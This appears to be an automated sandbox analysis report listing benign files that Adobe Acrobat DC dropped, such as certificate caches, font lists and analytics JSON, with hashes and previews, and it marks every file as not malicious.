Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl0/AG+EttfllXlE/HT8kDzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKt4pEteT84NMa8RdWBwRd
MD5:	D73A2E9E63FF0314D217851F307B0A8C
SHA1:	81B55729CC2AA87FC564436F293F5F6E4364AE8D
SHA-256:	95885027DAD2BF205B949775947B9356A4C42CED8CF97D49809DD72ADD12E275
SHA-512:	F0D724B748BB88FAD00CD8CEF354DE39FEAB40CD33D4807559E6FEA3341DE75187B509DEEDDFE5049C23E51CF4ECDD2E208707537504F78533CBF10991B71AEC
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKjl/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:piDnLNkPlE99SNxAhUe/3
MD5:	80CD1939DB1CA336F05304C5D5EF68BA
SHA1:	F9CFED2039E3B4D3B6221EDA64EDF3CE2F761CF7
SHA-256:	F84081A7D5696ADF090F457487050584880F42960F7C44AE8397EC2F31DC87AE
SHA-512:	D7866A6364CBAAAA71FF003190DB82A5D85C42C07F1B3FDD9EAFBBCE5FBF41ECCFFB0DCA428CD333C51B5A5EA285083C017ED34E07737A191AD094326BE907A4
Malicious:	false
Preview:	p...... .........K...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352351132458413
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJM3g98kUwPeUkwRe9:YvXKX5rFf0YUTbdznGMbLUkee9
MD5:	BFA6E54B9678A7F9137EBE352430ED54
SHA1:	F3403AF629DE4EB13664264721183D49ED6B6D4C
SHA-256:	A4DEB301146DB657EA405C7DC3391E30D827845AF69D69F555B6CB61E30E7F33
SHA-512:	B2EE74927E0DDA71621FBAD505AD2585FFEE3AA853E856BB6346C9D5D3475F87EA646459DB968E2CE401BF269C8F1026F13CEBF6A897784EF9645E3C49427C05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291987169718565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfBoTfXpnrPeUkwRe9:YvXKX5rFf0YUTbdznGWTfXcUkee9
MD5:	8355A8F0AB088963A6C6C742ECA3F818
SHA1:	85C65A5DEF71AD2A5FC37089A2970A39BDDDCDC2
SHA-256:	E80CE01E88C54932668E643D13F846010A307FC404C3BE28F4B28EAB71729DFD
SHA-512:	9DE01475389AF90D25028BC94D2CBF7578083B21E262FCC4B70028AFE4D65F43184987DB4D5A23EC09A043EA0268B9A01E5E513A81B3347D7D14E54744E4460D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270246665076372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfBD2G6UpnrPeUkwRe9:YvXKX5rFf0YUTbdznGR22cUkee9
MD5:	78E94947E4DE283683571D560D007C8D
SHA1:	9111E180A3613262F9F8D1F956E3FB1EF7C08C3B
SHA-256:	4593C66DDA15AFA4E52FCAE665A887F0A2FFCF39DA67E155EE673718AC6E9121
SHA-512:	56F7F709C6EE568D9AED26FB8F6D8021338CE6B9557D3BDD6B29AB7F29ADA7D9E493CC8F0B1D5E32236D098FFFFD6C3B731742FCF85BC63794B7895586586EDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326243447475115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfPmwrPeUkwRe9:YvXKX5rFf0YUTbdznGH56Ukee9
MD5:	5BBA4583ECF0D22CB1894FB20486CF93
SHA1:	B8B68988080CE743C4C6B3935A649B844010423F
SHA-256:	7B0726388069823D50E227C7DD6CE2607B47C6D8A038A026276E9FA1BC0E9E61
SHA-512:	20C5EAC8B2DCA5D3058FAAF854B7B040FD4DD7322B9C50DC6C19C3CE73572CF8CBD533F5297B9A0B784D8F3A2B49BF49D40E6A9563EB5993C70DD3B302B7F065
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688436675141363
Encrypted:	false
SSDEEP:	24:Yv6X5rFf0YUX1spLgE9cQx8LennAvzBvkn0RCmK8czOCCSR:Yv5Yw1shgy6SAFv5Ah8cv/R
MD5:	3DFBC2F124B828044D5BCC7A6C2C65D3
SHA1:	4A921FD7928755201F3E9821387E1274930B475A
SHA-256:	B94D9D5F52498CA2656DC8F9BD12AADCBE7058CC2B2C2E160AB790A2887BA4AF
SHA-512:	E3846627866B8163AAE856A4D004D46C25BA965ABCE0188357DFB94B3CFD9A7010F055818E7269E14AB3B9CE88710B1E2B089E6F5D41CFC73B5F9A17CB16A369
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269830578670813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJf8dPeUkwRe9:YvXKX5rFf0YUTbdznGU8Ukee9
MD5:	77257650AF54D6EA2B54C62FC96087B5
SHA1:	63EEF83D503D484C8E7E8048A174EA78A8D1178C
SHA-256:	74D083FCBB30B4BD17DF1AF95CC62313A9458AA3FAA608866D821331F559FA46
SHA-512:	EB42218699201BF2327381AE2C54A371FAA5BF3B5943014E788F51CB20A89FDBDD4F8F569AFFA93A2857F2DAC18BB4902C832EB7008B3316FD55A713F9948C5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273083590017196
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfQ1rPeUkwRe9:YvXKX5rFf0YUTbdznGY16Ukee9
MD5:	BB141FA1EC259A54EB3E4131DFB9F217
SHA1:	962B712CC28C46160FA998B7546814D878CB9FFD
SHA-256:	6082A87C60BF6266CF72D405C4E6BB346FB4AC08EFEA4050DB4A4203689E4B47
SHA-512:	0A51FC01CEEB2B7047BC3E32E24CBE9DD66E4E26418FAF9B61ACBAD7DDDACBE5625ED3C2E2D58CCF15462AB5C2104B408270600DD94E47E7DCCDC7ED7EA2299C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284637880726844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfFldPeUkwRe9:YvXKX5rFf0YUTbdznGz8Ukee9
MD5:	786F53E179438D3D78B868F9332CDCE1
SHA1:	945EED7B3E7F14811DE8848EF7F532A1F195C625
SHA-256:	0FCBD02EC93BCFE63E3E69311062857CD225EBC47A0E927E4D18B9C2A5C6A280
SHA-512:	37DB02FB15B839100A680906E7750F0EF0BCA936FBE8AF5EE7842D0165A64BE91B11FD8723457D23A786199009E660BBE0404BE62CC1B6BE6F4F4E8D023ACA4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.296864091400554
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfzdPeUkwRe9:YvXKX5rFf0YUTbdznGb8Ukee9
MD5:	573598B10CBCE93C43B8A2F184850D24
SHA1:	3657841C18FFB7852A52DC8CEA5BD8DAC77063BB
SHA-256:	DF5428F14CD6E0ED5F6B561A6D6E0BD9CDB277D8F7282F43BDF12266C6EA974A
SHA-512:	A8055500BE3A770AC2D4CEDBED2D8F5A06CFF4B98F6C0864F4276F1DD72D4149B6D2A33221DFE82302664D8C2DEABA9676755B44B63BCC3DC7CCF7C65EF0202B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277040715914351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfYdPeUkwRe9:YvXKX5rFf0YUTbdznGg8Ukee9
MD5:	4DB76EBB84E2152C0B1773CCC91840B2
SHA1:	62C4613CB8B0A2E3A9690248B1FB4BB17C486683
SHA-256:	FE237DE6DA38EE92FE0E3A7EC1BF957CFE1F0BFEC46B210E2F9A94E3A69D669C
SHA-512:	763C382CB3186F9342B22F330D2AA133924715CA4D444024CA3CA4F7A83399D5579318B826CA9CF4D7C78EAB04A89F4F281C6E3D269B11C4D08FC1DC8EE3782E
Malicious:	false
